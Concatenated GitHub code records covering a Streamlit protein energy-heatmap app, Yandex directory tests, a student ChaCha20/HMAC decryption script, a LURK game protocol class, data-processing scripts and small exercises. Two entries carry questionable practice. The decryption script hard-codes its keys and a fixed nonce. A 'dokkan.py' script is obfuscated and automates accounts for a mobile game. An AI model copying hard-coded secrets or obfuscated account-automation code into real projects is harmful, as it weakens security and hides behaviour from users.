hl_color, \"radius\": stick_radius}})\n view_variant.addStyle({\"chain\": hl_model, \"resi\": hl_resi},\n {\"stick\": {\"radius\": stick_radius}})\n \n if label_resi:\n for hl_resi in hl_resi_list:\n view_variant.addResLabels({\"chain\": hl_model,\"resi\": hl_resi},\n {\"backgroundColor\": \"lightgray\",\"fontColor\": \"black\",\"backgroundOpacity\": 0.5})\n \n view_variant.zoomTo(\n {\n 'model':0,\n 'resi': hl_resi_list\n }\n )\n add_hover_res(view_variant)\n showmol(view_variant,width=width, height=height)\n else:\n st.warning(\"Please select a residue pair to view the pair in 3D\")\n with col3:\n\n # If st.session_state[\"difference_heatmap_query\"]\n if st.session_state[\"difference_heatmap_query\"]:\n st.write(\"\")\n st.write(\"\")\n st.write(\"\")\n st.write(\"\")\n # Filter the table based on st.session_state[\"difference_heatmap_query\"][0] on column x\n filtered_table = table[table['x'] == st.session_state[\"difference_heatmap_query\"][1]]\n # Filter the table based on st.session_state[\"difference_heatmap_query\"][1] on column y\n filtered_table = filtered_table[filtered_table['y'] == st.session_state[\"difference_heatmap_query\"][0]]\n # Transpose the table\n filtered_table = filtered_table.T\n # Drop first two rows\n filtered_table = filtered_table.drop(filtered_table.index[0:2])\n # Rename the first column to 'Energy Difference'\n filtered_table = filtered_table.rename(columns={filtered_table.columns[0]: 'Energy Difference'})\n # Create a new column with the index\n filtered_table['Rosetta Score Term'] = filtered_table.index\n # Make the index from 0 to len(filtered_table)\n filtered_table = filtered_table.reset_index(drop=True)\n # Rename the index to 'Rosetta Score Term'\n filtered_table.index.name = 'Rosetta Score Term'\n # Reorder the columns\n filtered_table = filtered_table[['Rosetta Score Term', 'Energy Difference']]\n # Convert the 'Energy Difference' column to float\n filtered_table['Energy Difference'] = filtered_table['Energy Difference'].astype(float)\n # Sort the table based on the 'Energy Difference' column\n filtered_table = filtered_table.sort_values(by=['Energy Difference'], ascending=True)\n # Drop Energy Difference rows with value 0\n filtered_table = filtered_table[filtered_table['Energy Difference'] != 0]\n #st.dataframe(filtered_table,use_container_width = True)\n # Create a plotly px bar chart\n fig = px.bar(filtered_table, x='Energy Difference', y='Rosetta Score Term', orientation='h')\n # Color each bar based with a color in a Pastel1 discrete color scale\n fig.update_traces(marker_color=px.colors.qualitative.Pastel1)\n st.plotly_chart(fig, use_container_width=True)\n else:\n st.warning(\"Select a residue pair in the heatmap to see the per score term energy difference.\")\n else:\n st.error('Not all Pre-Requisites are Calculated')\n\n\nif __name__ == '__main__':\n # If all the pre-requisites are not calculated, then return\n if not check_files():\n st.error('Error: Not all Pre-requisites are calculated')\n else:\n st.title(\"Energy Heatmap\")\n wild_structure = st.session_state['File Upload'][f'pdb_wild_clean'].getvalue()\n variant_structure = st.session_state['File Upload'][f'pdb_variant_clean'].getvalue()\n # Create a expandable text in the sidebar that explains the purpose of the app \n with st.sidebar:\n st.expander(\"About\", expanded=False).markdown(\"\"\"The energy heatmap page provides a visual representation of the changes in interaction energy that occur when mutations are introduced. The heatmap allows you to easily identify which residues are contributing the most to the changes in interaction energy, providing valuable insights into how to optimize your designs for stability and functionality.\n \"\"\")\n # Create a markdown text in the sidebar that indicate the molecule viewer style options\n st.sidebar.markdown(\"\"\"\n ### Molecule Viewer Selection Options\n \"\"\")\n hl_resi_list = st.sidebar.multiselect(label=\"Extra residues to highlight in the structure viewer\",\n options=list(range(1,1000)),\n # Write a detailed help message, step by step\n help=\"Select the residues to highlight in the structure viewer (e.g. 1, 2, 3), the residues will be highlighted in the structure viewer in addition to the residues selected in the table\")\n st.sidebar.markdown(\"\"\"\n ### Molecule Viewer Style Options\n \"\"\")\n hl_model = st.sidebar.text_input(label=\"Highlight Chain\",\n value=\"A\",\n # Write a detailed help message, step by step\n help=\"Enter the chain ID of the variant to highlight residues in the structure viewer (e.g. A), for the moment, only one chain can be highlighted at a time\")\n\n label_resi = st.sidebar.checkbox(label=\"Label Residues\", \n value=True,\n # Write a detailed help message, step by step\n help=\"Do you want to label the residues in the structure viewer?, if yes, select the checkbox\")\n \n surf_transp = st.sidebar.slider(\"Surface Transparency\", \n min_value=0.0, \n max_value=1.0, \n value=0.0,\n # Write a detailed help message, step by step\n help=\"Set the transparency of the surface in the structure viewer (0.0 is transparent, 1.0 is opaque)\")\n\n # Top n energy interactions to show\n top_n = st.sidebar.slider(\"Top n interacting residue pairs\", \n min_value=1, \n max_value=10, \n value=3,\n # Write a detailed help message, step by step\n help=\"Set the number of top interacting residue pairs to show in the structure viewer, these are the residue pairs with the lowest energy change meaning they are the most contributing to the energy change.\")\n\n # Create a checkbox called zone selection and set it to False\n zone_selection = st.sidebar.checkbox(label=\"Zone Selection\", \n value=False,\n # Write a detailed help message, step by step\n help=\"Do you want to select a zone to view, if yes, select the checkbox and use the slider to select the zone in angstroms (1-10)\")\n\n # If zone selection is True, show the zone slider\n if zone_selection:\n zone = st.sidebar.slider(\"Zone\", min_value=1, max_value=10, value=7)\n hl_color = st.sidebar.text_input(label=\"Highlight Color\",\n value=\"yellow\",\n # Write a detailed help message, step by step\n help=\"Enter the color of the residue stick representation in the structure viewer (e.g. yellow) \")\n\n bb_color = st.sidebar.text_input(label=\"Backbone Color\",\n value=\"lightgrey\",\n # Write a detailed help message, step by step\n help=\"Enter the color of the backbone riboon representation in the structure viewer (e.g. lightgrey)\")\n lig_color = st.sidebar.text_input(label=\"Ligand Color\",\n value=\"white\",\n # Write a detailed help message, step by step\n help=\"Enter the color of the ligand representation in the structure viewer (e.g. white), if no ligand is present, this will be ignored\")\n # Create a sidebar slider to select the width of the structure viewer\n width = st.sidebar.slider(\"Width\", min_value=300, max_value=1000, value=400)\n\n # Create a sidebar slider to select the height of the structure viewer\n height = st.sidebar.slider(\"Height\", min_value=300, max_value=1000, value=400)\n cartoon_radius = 0.2\n stick_radius = 0.2\n \n initialize_state()\n\n STATE = st.session_state['Energy Heatmap']\n\n\n # Print st.session_state keys create a list\n #print (list(st.session_state['Energy Heatmap']))\n #st.write(len(fasta('pdb_wild_clean')))\n matrix_list, minima, maxima, table = difference_dataset()\n\n # Create a st.slider for with a range from minima to maxima\n threshold = st.slider('Threshold', minima, maxima, 0.0)\n # Based on the threshold convert to None if an is above the threshold, if the value is already None skip it!!\n matrix_list = [[None if x is None or x > threshold else x for x in row] for row in matrix_list]\n # Create a dataframe from the matrix_list\n df = pd.DataFrame(matrix_list)\n wild_residues = fasta('pdb_wild_clean')\n variant_residues = fasta('pdb_variant_clean')\n # Create a list from 1 to len(fasta('pdb_wild_clean')\n wild_residues = list(range(1, len(fasta('pdb_wild_clean')) + 1))\n variant_residues = list(range(1, len(fasta('pdb_variant_clean')) + 1))\n # Add the variant residues as the column names\n df.columns = variant_residues\n # Add the wild residues as the index\n df.index = wild_residues\n df.fillna(0)\n main()","repo_name":"kuenzelab/ENDURE","sub_path":"pages/d_Energy_Heatmap.py","file_name":"d_Energy_Heatmap.py","file_ext":"py","file_size_in_byte":32144,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"29030155157","text":"# -*- coding: utf-8 -*-\nfrom hamcrest import (\n assert_that,\n equal_to,\n has_entries,\n contains,\n)\nfrom unittest.mock import patch\n\nfrom testutils import (\n TestCase,\n create_outer_uid\n)\nfrom intranet.yandex_directory.src.yandex_directory.core.models import (\n UserModel,\n UserMetaModel,\n ActionModel,\n)\nfrom intranet.yandex_directory.src.yandex_directory import app\nfrom intranet.yandex_directory.src.yandex_directory.core.resource.tasks import (\n CreateExistingAccountTask,\n)\nfrom intranet.yandex_directory.src.yandex_directory.core.tasks.resource import (\n CreateResourceTask,\n)\nfrom intranet.yandex_directory.src.yandex_directory.core.task_queue.base import (\n TASK_STATES,\n)\nfrom intranet.yandex_directory.src.yandex_directory.connect_services.idm import get_service\nfrom intranet.yandex_directory.src.yandex_directory.connect_services.idm.exceptions import ClientIDBoundError\n\n\nclass TestCreateExistingAccountTask(TestCase):\n\n def setUp(self):\n super(TestCreateExistingAccountTask, self).setUp()\n self.uid = create_outer_uid()\n self.mocked_blackbox.userinfo.return_value = {\n 'fields': {\n 'country': 'ru',\n 'login': 'art',\n 'firstname': 'Александр',\n 'lastname': 'Артеменко',\n 'sex': '1',\n 'birth_date': '1980-10-05',\n },\n 'uid': self.uid,\n 'default_email': 'default@ya.ru',\n }\n self.mocked_blackbox.reset_mock()\n\n def test_create_portal_account(self):\n # Проверяем, что такс выполнился успешно, что создались пользователь и событие\n org_id = self.organization['id']\n CreateExistingAccountTask(self.main_connection).delay(\n uid=self.uid,\n org_id=org_id,\n )\n self.process_tasks()\n\n self.assert_no_failed_tasks(\n allowed_states=[\n 'success',\n # CreateExistingAccountTask заводит эти таски в процессе своей работы\n ('UpdateMembersCountTask', 'free'),\n ('UpdateOrganizationMembersCountTask', 'free'),\n ('SyncExternalIDS', 'free'),\n ],\n )\n\n meta_user = UserMetaModel(self.meta_connection).get(user_id=self.uid, org_id=org_id)\n assert meta_user is not None\n main_user = UserModel(self.main_connection).get(self.uid, org_id)\n assert main_user is not None\n\n actions = ActionModel(self.main_connection)\\\n .filter(org_id=org_id)\\\n .fields('name')\\\n .all()\n assert_that(\n actions,\n contains(\n has_entries(name='user_add'),\n )\n )\n\n def test_create_account_error(self):\n # Проверяем, что если в create_portal_user произошла ошибка,\n # таск завершится с ошибкой, пользователь и событие не создадуться\n org_id = self.organization['id']\n with patch('intranet.yandex_directory.src.yandex_directory.core.resource.tasks.create_portal_user', side_effect=Exception):\n task = CreateExistingAccountTask(self.main_connection).delay(\n uid=10,\n org_id=self.organization['id'],\n )\n self.process_tasks()\n assert_that(\n task.state,\n equal_to(TASK_STATES.failed),\n )\n meta_user = UserMetaModel(self.meta_connection).get(user_id=self.uid, org_id=org_id)\n assert meta_user is None\n main_user = UserModel(self.main_connection).get(self.uid, org_id)\n assert main_user is None\n\n actions_count = ActionModel(self.main_connection)\\\n .filter(org_id=org_id)\\\n .fields('name')\\\n .count()\n assert actions_count == 0\n\n\nclass TestCreateResourceTask(TestCase):\n def test_duplicate_relations_should_be_ignored(self):\n # Проверяем, что таск выполнится успешно, даже если ему указано две одинаковых связи.\n # Это нужно, чтобы виджет связывания не пятисотил, когда случайно указаны\n # два одинаковых uid:\n # https://st.yandex-team.ru/DIR-6827\n org_id = self.organization['id']\n uid = self.user['id']\n\n CreateResourceTask(self.main_connection).delay(\n org_id=org_id,\n service_slug=self.service['slug'],\n external_id='42',\n relations=[\n {'object_type': 'user', 'object_id': uid, 'name': 'admin'},\n {'object_type': 'user', 'object_id': uid, 'name': 'admin'},\n ],\n )\n self.process_tasks()\n self.assert_no_failed_tasks()\n\n\nclass TestRequestDirectRole(TestCase):\n def setUp(self):\n super(TestRequestDirectRole, self).setUp()\n self.service = get_service('direct')\n\n def test_should_fail_if_association_exists(self):\n with patch.object(app.billing_client, 'get_passport_by_uid') as mocked_get_passport:\n mocked_get_passport.return_value = {'ClientId': 'some_id'}\n with self.assertRaises(ClientIDBoundError):\n self.service.request_roles(\n self.organization['id'],\n self.user['id'],\n *[{\n 'path': 'smth',\n 'resource_id': 'resource_id_1',\n 'uid': self.user['id'],\n }]\n )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/unit/yandex_directory/core/resource/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18196443865","text":"#!/usr/bin/python\n\nimport os, sys\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.primitives import hashes, hmac\nfrom cryptography.hazmat.backends import default_backend\n\n#mesmos valores do ficheiro enc.py\nkey = b'\\x87\\t/\\x8d\\xec\\x1bF=`)\\x17p\\xba\\xac\\x13\\xf8\\xcc\\xf8\\x0c\\x80\\x1a`]\\x1ab\\xcd\\x0ep\\xefp\\xa4\\x14'\nhmackey = b'R\\x17O\\x84d\\x1e\\xbb\\xda\\xc5\\xf2_\\xf8\\x97\\xc3s\\x86\\nAq8\\xb5\\xb77\\xa4\\xaf\\xc4?u\\xb4J\\xdc\\xd9'\nnonce = b'\\xcd|\\x7f\\xd8\\xd7\\xf7n\\xc6\\xc0\\x9c_s\\xb5al\\xbd'\n\ndef rff(nomeficheiro):\n\twith open(nomeficheiro, 'rb') as f:\n\t\treturn f.read()\n\ndef etm(): #Inverte o modo encrypt-then-mac\n\n\tdata = rff(\"dados-etm.dat\")\n\n\tct = data[:-32] #extrai o ct\n\ttag = data[-32:] #extrai a tag\n\t\n\talgorithm = algorithms.ChaCha20(key, nonce)\n\tcipher = Cipher(algorithm, mode=None, backend=default_backend())\n\n\th = hmac.HMAC(hmackey, hashes.SHA256(), backend=default_backend())\n\th.update(ct)\n\th.verify(tag) # verifica a tag\n\n\t#decifra o criptograma, caso a tag esteja correta.\n\tdecryptor = cipher.decryptor() #algoritmo de decifragem\n\tmsg = decryptor.update(ct) #decifra o criptograma\n\n\tprint(\"mensagem:\", msg.decode(\"utf-8\"))\n\n\n\ndef eam(): #Inverte o modo encrypt-and-mac\n\n\tdata = rff(\"dados-eam.dat\")\n\n\ttag = data[-32:] #extrai a tag\n\t\n\tct = data[:-32] #extrai o ct\n\n\talgorithm = algorithms.ChaCha20(key, nonce)\n\tcipher = Cipher(algorithm, mode=None, backend=default_backend())\n\n\tdecryptor = cipher.decryptor() \n\tmsg = decryptor.update(ct) #decifra o criptograma\n\n\th = hmac.HMAC(hmackey, hashes.SHA256(), backend=default_backend())\n\th.update(msg) \n\th.verify(tag) # verifica a tag\n\n\t#decifra o criptograma, caso a tag esteja correta.\n\tprint(\"mensagem:\", msg.decode(\"utf-8\"))\n\n\ndef mte(): #Inverte o modo mac-then-encrypt\n\tdata = rff(\"dados-mte.dat\")\n\tct = data\n\n\talgorithm = algorithms.ChaCha20(key, nonce)\n\tcipher = Cipher(algorithm, mode=None, backend=default_backend())\n\n\tdecryptor = cipher.decryptor() \n\tdec = decryptor.update(ct) #decifra o criptograma(resultado da mensagem com a tag)\n\n\tmsg = dec[:-32] # extrai a mensagem\n\ttag = dec[-32:] #extrai a tag\n\n\th = hmac.HMAC(hmackey, hashes.SHA256(), backend=default_backend())\n\th.update(msg) \n\th.verify(tag) # verifica a tag\n\n\t#decifra o criptograma, caso a tag esteja correta.\n\tprint(\"mensagem:\", msg.decode(\"utf-8\"))\n \n\n\ndef main():\n\n if len(sys.argv) != 2:\n print(\"Please provide one of: eam, etm, mte\")\n elif sys.argv[1] == \"eam\":\n eam()\n elif sys.argv[1] == \"etm\":\n etm()\n elif sys.argv[1] == \"mte\":\n mte()\n else:\n print(\"Please provide one of: eam, etm, mte\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"paulojorge99/Trabalhos-Academicos","sub_path":"Criptografia/TRABALHO4/dec.py","file_name":"dec.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74674443600","text":"import struct\nfrom time import sleep\n\nclass LURKprot:\n\n def __init__(self, conn = None):\n \n from LURKprot_keys import error_key, message_types, message_key\n\n self.version = '2.2'\n self.conn = conn\n self.error_key = error_key\n self.message_types = {v:k for k,v in message_types.items()}\n self.message_key = message_key\n\n def set_conn(self, conn):\n self.conn = conn\n\n def decode(self, conn = None): ## Uses self.message_key to decode server messages, returns a message dictionary ##\n if not conn: conn = self.conn\n data = conn.recv(1)\n # print(data)\n if data not in (b'', None, 0):\n mes_type = struct.unpack(' 1: value = ''.join([chr(i) for i in value if i])\n else: value = ''\n message_dict[key] = value\n print('Incoming: ', message_dict)\n return message_dict\n else:\n print('Problem Data:', data)\n return None\n\n def encode(self, message_dict, conn = None): ## Uses self.message_key to encode message for server from a message dictionary ##\n if not conn: conn = self.conn\n print('Outgoing: ', message_dict)\n mes_type = message_dict['type']\n reference = self.message_key[mes_type]\n message = bytes([mes_type])\n for key in reference['order']:\n format_key = reference[key]\n if key != 'length': value = message_dict[key]\n else: value = len(message_dict['text'])\n value_type = type(value)\n # print(value)\n if value_type == int:\n if format_key[0]:\n if format_key[0] == 1: message += bytes([value])\n elif format_key[0] == 2: message += struct.pack(format_key[1], value) \n else:\n format = format_key[1].format(message_dict['length'])\n message += struct.pack(format, value)\n elif value_type == str:\n if key == 'text': message += bytes(value, 'UTF-8')\n else:\n message += bytes(value, 'UTF-8')[:31]\n message += bytes(32 - len(value))\n return message\n conn.send(message)\n\n def search_type(self, message_dict):\n for k, v in self.message_key:\n if sorted(v['order']) == tuple(sorted(message_dict.keys())):\n message_dict['type'] = k\n self.encode(message_dict)\n\n def get_char_message(self, char_dict):\n char_dict['type'] = self.message_types['Character']\n return char_dict\n\n def get_chat_message(self, sender, target, text):\n message_dict = {'type': self.message_types['Chat'],\n 'sender': sender,\n 'text': text,\n 'recipient': target}\n return message_dict\n \n def get_err_message(self, code, text = None):\n message_dict = {'type': self.message_types['Error'],\n 'code': code}\n message_dict['text'] = text if text else self.error_key[code]\n return message_dict\n\n def get_cur_room_message(self, room_dict):\n room_dict['type'] = self.message_types['Current Room']\n return room_dict\n \n def get_con_room_message(self, room_dict):\n room_dict['type'] = self.message_types['Connecting Room']\n return room_dict","repo_name":"jmsimons/LURKlandia","sub_path":"MAINland/LURKp.py","file_name":"LURKp.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18803767856","text":"#!/usr/bin/env python3\nimport xml.etree.ElementTree as ET\n\ndef tree_to_brackets(tree:ET.Element):\n\n try:\n node = tree.getroot().findall('node')\n\n except AttributeError:\n node = tree\n\n\n def get_degree(node):\n degree = len(node)\n return degree\n\n def is_internal(node):\n if get_degree(node) >= 1:\n return True\n else:\n return False\n\n def is_leaf(node):\n if is_internal(node) == False:\n return True\n else:\n return False\n\n def is_subtree(node):\n if node.get('cat')is not None:\n return True\n else:\n return False\n\n def wrap(leaf):\n wrapped = str('{' + leaf + '}')\n return wrapped\n\n def open_wrap(node):\n bracket = '{'\n name = node.get('cat')\n if name.startswith('mwu'):\n name = 'mwu'\n return str(bracket + name)\n\n def close_wrap():\n bracket = '}'\n return bracket\n\n def get_span(node):\n if isinstance(node, ET.Element):\n begin = node.get('begin')\n end = node.get('end')\n\n else:\n begin = None\n end = None\n\n return begin, end\n\n\n to_close = []\n\n def _recursive_navigation(node, _descendants=None):\n\n if _descendants is None:\n _descendants = []\n\n else:\n if is_subtree(node):\n level = open_wrap(node)\n _descendants.append(level)\n to_close.append('')\n\n\n if is_leaf(node):\n\n leaf = wrap(node.get('rel')) # To change to rel when function is finished\n _descendants.append(leaf)\n\n\n for child in node:\n\n\n parent_begin, parent_end = get_span(node)\n child_begin, child_end = get_span(child)\n\n _recursive_navigation(child, _descendants)\n\n if parent_end == child_end:\n try:\n to_close.pop()\n _descendants.append(close_wrap())\n except IndexError:\n print('Nothing to close')\n\n\n return(_descendants)\n\n\n\n return ''.join(_recursive_navigation(node))\n","repo_name":"nohstns/nt2syntax","sub_path":"parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12322707725","text":"import pandas as pd\n\nfrom datetime import datetime\n\ndf_sofa = pd.read_csv(\"data/sofa_data.csv\", dtype={'SOFA_SCORE': 'float32'})\n\nfor name, group in df_sofa.groupby(\"SUBJECT_ID\"):\n if name < 58449:\n continue\n try:\n df_signals = pd.read_csv(f\"data/ts/signals_{name}.csv\")\n except:\n continue\n print(name)\n df_merged = pd.merge(\n df_signals, group[[\"CALCULATION_TIME\", \"SOFA_SCORE\"]], left_on=\"TIME\", right_on=\"CALCULATION_TIME\", how=\"left\"\n )\n print(df_merged.dtypes)\n first_timestamp = datetime.strptime(df_signals.iloc[0][\"TIME\"], \"%Y-%m-%d %H:%M:%S\")\n second_timestamp = datetime.strptime(\n df_signals.iloc[1][\"TIME\"], \"%Y-%m-%d %H:%M:%S\"\n )\n\n signal_length = int(3600 / (second_timestamp - first_timestamp).total_seconds())\n\n last_valid_sofa_index = df_merged[\"SOFA_SCORE\"].last_valid_index()\n df_merged.loc[\n : last_valid_sofa_index + signal_length, \"SOFA_SCORE\"\n ] = df_merged.loc[: last_valid_sofa_index + signal_length, \"SOFA_SCORE\"].fillna(\n method=\"ffill\"\n )\n\n df_merged[\n [\"TIME\", \"HR\", \"ABPSYS\", \"ABPDIAS\", \"ABPMEAN\", \"RESP\", \"SPO2\", \"SOFA_SCORE\"]\n ].to_csv(f\"data/ts_sofa/signals_sofa_{name}.csv\")\n","repo_name":"ricardo-hb93/MasterThesis","sub_path":"data_preprocessing/prepare_flink_input/prepare_flink_input.py","file_name":"prepare_flink_input.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43798752803","text":"# 창고 다각형 https://www.acmicpc.net/problem/2304\n# 31256KB / 48ms\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\ncol = []\nmax_ = 0\nans = 0\n\nfor _ in range(n):\n a, b = map(int, input().split())\n col.append((a, b))\n\n# 왼쪽 면 위치를 기준으로 정렬\ncol = sorted(col)\n\n# 가장 높은 기둥의 인덱스 찾기\nfor i in range(n):\n if max(col, key=lambda x: x[1])[1] == col[i][1]:\n max_ = i\n break\n\n# 가장 높은 기둥 인덱스를 기준으로 왼쪽과 오른쪽으로 나눠서 계산\n\n# max 기둥의 왼쪽은 현재 ��둥보다 높은 기둥을 만나기 전까지 같은 높이를 더해줌\ntmp = col[0][1]\nfor i in range(max_):\n # 기둥 높이에 왼쪽 면 위치 차이를 곱해서 더해주기\n ans += tmp * (col[i+1][0] - col[i][0])\n\n # 현재 기둥보다 다음 기둥이 높으면 기준을 갱신\n if tmp < col[i+1][1]:\n tmp = col[i+1][1]\n\n# max 기둥의 오른쪽도 동일하게 계산\ntmp = col[-1][1]\nfor i in range(n-1, max_, -1):\n ans += tmp * (col[i][0] - col[i-1][0])\n\n if tmp < col[i-1][1]:\n tmp = col[i-1][1]\n\nprint(ans + col[max_][1])\n\n","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week13_230406/2304_창고_다각형/2304_최은비.py","file_name":"2304_최은비.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"35570618461","text":"import sys #line:1\r\nimport os #line:2\r\nfrom colorama import init ,Fore ,Style ,Back #line:3\r\nimport webbrowser #line:4\r\nimport c1 #line:5\r\nimport c2 #line:6\r\ninit (autoreset =True )#line:9\r\nc1 .discl ()#line:10\r\nwhile True :#line:12\r\n\ttry :#line:14\r\n\t\tos .mkdir ('userfiles')#line:15\r\n\texcept OSError as exc :#line:16\r\n\t\tpass #line:17\r\n\tif c2 .relooped is False :#line:18\r\n\t\tdldb =input (\"Would you like to download the latest DB?\\nMust-do on first Start!!!\\nPress any key to continue, for download press 'y': \")#line:19\r\n\t\tif dldb .lower ()=='y':#line:20\r\n\t\t\tc1 .db_download ()#line:21\r\n\telse :#line:22\r\n\t\tprint ('Exiting...\\n-------------------------------')#line:23\r\n\twhile True :#line:25\r\n\t\tclient =input (\"Japan or Global? J/G: \")#line:26\r\n\t\tif client .lower ()=='j':#line:27\r\n\t\t\tc2 .set_japan ()#line:28\r\n\t\t\tbreak #line:29\r\n\t\telif client .lower ()=='g':#line:30\r\n\t\t\tc2 .set_global ()#line:31\r\n\t\t\tbreak #line:32\r\n\t\telse :#line:33\r\n\t\t\tcontinue #line:34\r\n\twhile True :#line:36\r\n\t\tprint (Back .RED +Style .BRIGHT +'\\n0: New Account\\n1: Transfer Account To The Bot\\n2: Continue with Current Account\\n3: List your Savefiles\\n4: Rename a Savefile\\n5: Make Save from device/identifier\\n6: Do a daily on all accounts (Android and iOS)\\n'+Back .YELLOW +Style .BRIGHT +'7: Join my Discord\\n'+Style .RESET_ALL +'\\nType \"exit\" to terminate\\n')#line:37\r\n\t\tcommand =input ('Enter a choice ->: ')#line:38\r\n\t\tif command =='0':#line:39\r\n\t\t\tc2 .identifier =c1 .signup ()#line:40\r\n\t\t\tc1 .save_account ()#line:41\r\n\t\t\tc2 .access_token ,c2 .secret =c1 .signin (c2 .identifier ,c2 .UniqueId ,c2 .AdId )#line:42\r\n\t\t\tc1 .tutorial ()#line:43\r\n\t\t\tc1 .daily_login ()#line:44\r\n\t\t\tbreak #line:45\r\n\t\telif command =='1':#line:46\r\n\t\t\tc1 .transfer_account ()#line:47\r\n\t\t\tc1 .daily_login ()#line:48\r\n\t\t\tbreak #line:49\r\n\t\telif command =='2':#line:50\r\n\t\t\tc1 .load_account ()#line:51\r\n\t\t\tc1 .daily_login ()#line:52\r\n\t\t\tbreak #line:53\r\n\t\telif command =='3':#line:54\r\n\t\t\tc1 .list_save_files ()#line:55\r\n\t\telif command =='4':#line:56\r\n\t\t\tc1 .rename_save ()#line:57\r\n\t\telif command =='5':#line:58\r\n\t\t\tc1 .acc_load_identify ()#line:59\r\n\t\t\tif not c2 .relooped :#line:60\r\n\t\t\t\tbreak #line:61\r\n\t\telif command =='6':#line:62\r\n\t\t\toriginal_client =c2 .client #line:63\r\n\t\t\tc1 .daily_login_all_android ()#line:64\r\n\t\t\toriginal_platform =c2 .platform #line:65\r\n\t\t\tc2 .platform ='ios'#line:66\r\n\t\t\tc1 .daily_login_all_ios ()#line:67\r\n\t\t\tc2 .platform =original_platform #line:68\r\n\t\t\tc2 .client =original_client #line:69\r\n\t\telif command =='7':#line:70\r\n\t\t\twebbrowser .open (c1 .dil ,new =0 ,autoraise =True )#line:71\r\n\t\telse :#line:72\r\n\t\t\tprint (\"Command not understood\")#line:73\r\n\twhile True :#line:76\r\n\t\tprint ('---------------------------------')#line:77\r\n\t\tprint (\"Type\"+Fore .YELLOW +Style .BRIGHT +\" 'help'\"+Style .RESET_ALL +\" to view all commands.\")#line:78\r\n\t\ttry :#line:81\r\n\t\t\tcommand =input ()#line:82\r\n\t\texcept :#line:83\r\n\t\t\tsys .stdin =sys .__stdin__ #line:84\r\n\t\t\tcommand =input ()#line:85\r\n\t\tif command =='exit':#line:87\r\n\t\t\tc2 .relooped =True #line:88\r\n\t\t\tbreak #line:89\r\n\t\ttry :#line:91\r\n\t\t\tc1 .user_command_executor (command )#line:92\r\n\t\texcept KeyboardInterrupt :#line:93\r\n\t\t\tprint (Fore .CYAN +Style .BRIGHT +'User interrupted process.')#line:94\r\n","repo_name":"Raptor3500/DokkanGrindStone","sub_path":"dokkan.py","file_name":"dokkan.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35971103065","text":"from odf.opendocument import OpenDocumentText\nfrom odf.style import Style, TextProperties, ParagraphProperties, Footer, MasterPage,PageLayout\nfrom odf.text import H, P, Span, PageNumber\n\ntextdoc = OpenDocumentText()\n# Styles\ns = textdoc.styles\nf = Footer()\npl = PageLayout(name=\"pagelayout\")\nmp = MasterPage(name=\"Standard\", pagelayoutname=pl)\nh1style = Style(name=\"Heading 1\", family=\"paragraph\")\nh1style.addElement(TextProperties(attributes={'fontsize':\"24pt\",'fontweight':\"bold\" }))\ns.addElement(h1style)\n# An automatic style\nboldstyle = Style(name=\"Bold\", family=\"text\")\nboldprop = TextProperties(fontweight=\"bold\")\nboldstyle.addElement(boldprop)\ntextdoc.automaticstyles.addElement(boldstyle)\n\nalgo = Style(name = \"kk\")\nnumeracion = ParagraphProperties(pagenumber = \"2\")\nalgo.addElement(numeracion)\ntextdoc.automaticstyles.addElement(algo)\n# Text\nh=H(outlinelevel=1, stylename=h1style, text=\"My first text\")\ntextdoc.text.addElement(h)\np = P(text=\"Hello world. \")\nboldpart = Span(stylename=boldstyle, text=\"This part is bold. \")\np.addElement(boldpart)\np.addText(\"This is after bold.\")\ntextdoc.text.addElement(p)\nfp = P(stylename=\" foot\")\npagina = Span(stylename=\"foot2\", text=\"Página: \")\nfp.addElement(pagina)\nnumero = PageNumber(selectpage=\"auto\")\nfp.addElement(numero)\nf.addElement(fp)\nmp.addElement(f)\n\ntextdoc.save(\"myfirstdocument.odt\")\n","repo_name":"exodehm/SDMed2","sub_path":"python/plugins_impresion/prueba.py","file_name":"prueba.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73392438160","text":"# https://www.pythonmorsels.com/exercises/b8520efdf5b3442799f5b4a8a399c32d/\n# https://www.pythonmorsels.com/exercises/b8520efdf5b3442799f5b4a8a399c32d/solution/\n\nfrom collections import defaultdict\n\n\ndef group_by__(sequence, **kwargs):\n \"\"\"group values based on their derived result\"\"\"\n func = kwargs.get('key_func', lambda x : x)\n\n result = {}\n for item in sequence:\n value = func(item)\n if not result.get(value):\n result[value] = []\n result[value].append(item)\n return result\n\n\n# Solutions\n\ndef group_by_1(iterable, key_func):\n groups = {}\n for item in iterable:\n key = key_func(item)\n if key not in groups:\n groups[key] = []\n groups[key].append(item)\n return groups\n\n\ndef group_by_2(iterable, key_func):\n groups = {}\n for item in iterable:\n key = key_func(item)\n groups.setdefault(key, []).append(item)\n return groups\n\n\ndef group_by_3(iterable, key_func):\n groups = defaultdict(list) \n for item in iterable:\n groups[key_func(item)].append(item)\n return groups\n\n\ndef group_by(iterable, key_func=lambda x : x):\n groups = defaultdict(list) \n for item in iterable:\n groups[key_func(item)].append(item)\n return 